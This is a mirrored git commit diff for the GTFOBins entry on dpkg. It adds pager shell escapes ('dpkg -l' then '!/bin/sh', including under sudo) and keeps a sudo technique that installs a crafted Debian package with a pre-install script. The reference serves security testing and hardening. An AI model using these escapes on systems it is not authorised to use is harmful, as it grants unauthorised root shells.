mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Improve dpkg
This commit is contained in:
parent
f6ccddda5c
commit
89b1753a0d
@ -1,6 +1,15 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
shell:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
dpkg -l
|
||||||
|
!/bin/sh
|
||||||
sudo:
|
sudo:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
sudo dpkg -l
|
||||||
|
!/bin/sh
|
||||||
- description: |
|
- description: |
|
||||||
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
||||||
```
|
```
|
||||||
@ -9,8 +18,4 @@ functions:
|
|||||||
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
|
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
|
||||||
```
|
```
|
||||||
code: sudo dpkg -i x_1.0_all.deb
|
code: sudo dpkg -i x_1.0_all.deb
|
||||||
shell:
|
|
||||||
- code: |
|
|
||||||
dpkg -l
|
|
||||||
!/bin/sh
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user